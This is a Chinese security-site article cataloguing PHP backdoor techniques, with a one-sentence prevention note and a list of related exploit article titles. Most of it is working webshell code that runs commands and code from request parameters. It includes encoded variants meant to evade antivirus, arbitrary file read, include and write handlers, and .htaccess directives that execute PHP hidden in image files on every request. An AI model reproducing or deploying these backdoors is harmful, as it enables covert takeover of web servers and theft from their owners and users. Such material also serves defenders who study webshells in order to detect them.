php后门木马常用命令分析与防范

所属分类: 网络安全 / 脚本攻防 阅读数: 209
收藏 0 赞 0 分享
php后门木马常用的函数大致上可分为四种类型:
  1. 执行系统命令: system, passthru, shell_exec, exec, popen, proc_open
  2. 代码执行与加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13
  3. 文件包含与生成: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite
  4. .htaccess: SetHandler, auto_prepend_file, auto_append_file

  1. 执行系统命令:
  system 函数
  //test.php?cmd=ls
  system($_GET[cmd]);
  passthru 函数
  //test.php?cmd=ls
  passthru($_GET[cmd]);
  shell_exec 函数
  //test.php?cmd=ls
  echo shell_exec($_GET[cmd]);
  exec 函数
  //test.php?cmd=ls
  $arr = array();
  exec($_GET[cmd],$arr);
  print_r($arr);
  popen 函数
  //test.php?cmd=ls
  $handle = popen('$_GET[cmd], 'r');
  $read = fread($handle, 2096);
  echo $read;
  pclose($handle);
  proc_open 函数
  //test.php?cmd=ls
  $descriptorspec = array(
  0 => array('pipe', 'r'),
  1 => array('pipe', 'w'),
  2 => array('pipe', 'w'),
  );
  $proc = @proc_open($_GET[cmd], $descriptorspec, $pipes);
  fclose($pipes[0]);
  $output = array();
  while (!feof($pipes[1])) array_push($output, rtrim(fgets($pipes[1],1024),"\n"));
  print_r($output);
  2. 代码执行与加密:
  eval 函数
  //最常见的一句话木马
  eval($_POST[cmd]);
  base64_decode 函数
  //为了免杀及隐藏而加密代码
  //密文: eval($_POST['cmd']);
  eval(base64_decode('ZXZhbCgkX1BPU1RbJ2NtZCddKTs='));
  gzinflate 函数
  //为了免杀及隐藏而加密代码
  //密文: eval($_POST['cmd']);
  eval(gzinflate(base64_decode('Sy1LzNFQiQ/wDw6JVk/OTVGP1bQGAA==')));
  gzuncompress 函数
  //为了免杀及隐藏而加密代码
  //密文: eval($_POST['cmd']);
  eval(gzuncompress(base64_decode('eJxLLUvM0VCJD/APDolWT85NUY/VtAYARQUGOA==')));
  gzdecode 函数
  //为了免杀及隐藏而加密代码
  //密文: eval($_POST['cmd']);
  eval(gzdecode(base64_decode('H4sIAAAAAAAAA0stS8zRUIkP8A8OiVZPzk1Rj9W0BgA5YQfAFAAAAA==')));
  str_rot13 函数
  //为了免杀及隐藏而加密代码
  //密文: eval($_POST[cmd]);
  eval(str_rot13('riny($_CBFG[pzq]);'));
  assert 函数
  //类似eval函数
  assert($_POST[cmd]);
  call_user_func 函数
  //使用call_user_func调用assert
  call_user_func('assert',$_POST[cmd]);
  call_user_func 函数
  //使用call_user_func调用任意函数
  //test.php?a=assert&cmd=phpinfo()
  call_user_func($_GET[a],$_REQUEST[cmd]);
  组合代码
  //组合方式调用任意函数
  //test.php?a=assert&cmd=phpinfo()
  $_GET[a]($_REQUEST[cmd]);
  3. 文件包含与生成:
  require 函数
  //包含任意文件
  //test.php?file=123.jpg
  require($_GET[file]);
  require_once 函数
  //包含任意文件
  //test.php?file=123.jpg
  require_once($_GET[file]);
  include 函数
  //包含任意文件 www.chnhack.com
  //test.php?file=123.jpg
  include($_GET[file]);
  include_once 函数
  //包含任意文件
  //test.php?file=123.jpg
  include_once($_GET[file]);
  file_get_contents 函数
  //读取任意文件
  //test.php?f=config.inc.php
  echo file_get_contents($_GET['f']);
  file_put_contents 函数
  //生成任意内容文件
  //a=test.php&b=
  file_put_contents($_GET[a],$_GET[b]);
  fputs 函数
  //生成任意内容文件
  //a=test.php&b=
  fputs(fopen($_GET[a],"w"),$_GET[b]);
  4. .htaccess:
  SetHandler
  //可将php代码存于非php后缀文件,例: x.jpg
  //将以下代码写入.htaccess中
  //连接x.jpg即可启动后门木马出处www.admin8.us
  
  SetHandler application/x-httpd-php
  
  auto_prepend_file
  //可将php代码存于非php后缀文件,例: 123.gif
  //将以下代码写入.htaccess中, 文件路径必须是绝对路径
  //访问网站上任何php文件都会启动该php后门木马
  //可在不更改站点源代码的情况下记录所有$_REQUEST的值,也可批量挂马
  php_value auto_prepend_file c:/apache2/htdocs/123.gif
  auto_append_file
  //类似auto_prepend_file
  //可将php代码存于非php后缀文件,例: 123.gif
  //将以下代码写入.htaccess中, 文件路径必须是绝对路径
  //访问网站上任何php文件都会启动该php后门木马
  php_value auto_append_file c:/apache2/htdocs/123.gif
本文由A8站长网首发

防范:这里就简单的介绍下防范,通过php.ini屏蔽一些命令,服务器做好安全配置,定期查找网站后门。 具体的软件可以到s.jb51.net下载使用
更多精彩内容其他人还在看

ECSHOP php商城系统过滤不严导致SQL注入漏洞

ECSHOP是一款开源免费的网上商店系统。由专业的开发团队升级维护,为您提供及时高效的技术支持,您还可以根据自己的商务特征对ECSHOP进行定制,增加自己商城的特色功能
收藏 0 赞 0 分享

DEDECMS网站管理系统模板执行漏洞(影响版本v5.6)

DedeCms 基于PHP+MySQL的技术开发,支持Windows、Linux、Unix等多种服务器平台,从2004年开始发布第一个版本开始,至今已经发布了五个大版本
收藏 0 赞 0 分享

网站被SQL注入防范(WebKnight)

分享一下内容篡改式攻击的判断方法、SQL注入攻击的防范、以及被攻击后的补救(数据恢复)相关知识
收藏 0 赞 0 分享

手工注入方法,方便大家测试程序漏洞

手工注入方法,方便大家测试程序漏洞,本人只供学习交流,不建议搞破坏。
收藏 0 赞 0 分享

XSS漏洞报告

对于的用户输入搜索出现XSS漏洞的问题,主要是由于开发人员对XSS了解不足,安全的意识不够造成的。现在让我们来普及一下XSS的一些常识,以后在开发的时候,每当有用户输入的内容时,都要加倍小心
收藏 0 赞 0 分享

PHP Webshell 下的端口反弹方法

phpspy2011 中的 Back Connect 怎么弄都不能反弹回来,在网上找了段代码,测试成功了,但自己看了下,这段代码貌似也是从 phpspy 中分离出来的
收藏 0 赞 0 分享

万博企业网站管理系统注入漏洞(MemberLogin.asp)

这个注入漏洞发生在html/MemberLogin.asp文件里,在Include下有NoSqlHack.Asp文件也没调用,呵呵,就有了我们利用的地方了
收藏 0 赞 0 分享

PJBlog3 V3.2.8.352文件Action.asp修改任意用户密码

PJBlog一套开源免费的中文个人博客系统程序,采用asp+Access的技术,具有相当高的运作效能以及更新率,也支持目前Blog所使用的新技术
收藏 0 赞 0 分享

mysql注入导库脚本代码

mysql注入导库脚本代码,学习安全的朋友要注意防范。
收藏 0 赞 0 分享

BOSSI 公司企业网站管理系统注入&上传漏洞利用

BOSSI 公司(企业)网站管理系统,中英文双语版,后台在同一页内同时管理添加修改资料内的中英文内容,网站的左边栏使用了模块,可以自由的增加&删除,可以不用修改代码
收藏 0 赞 0 分享
查看更多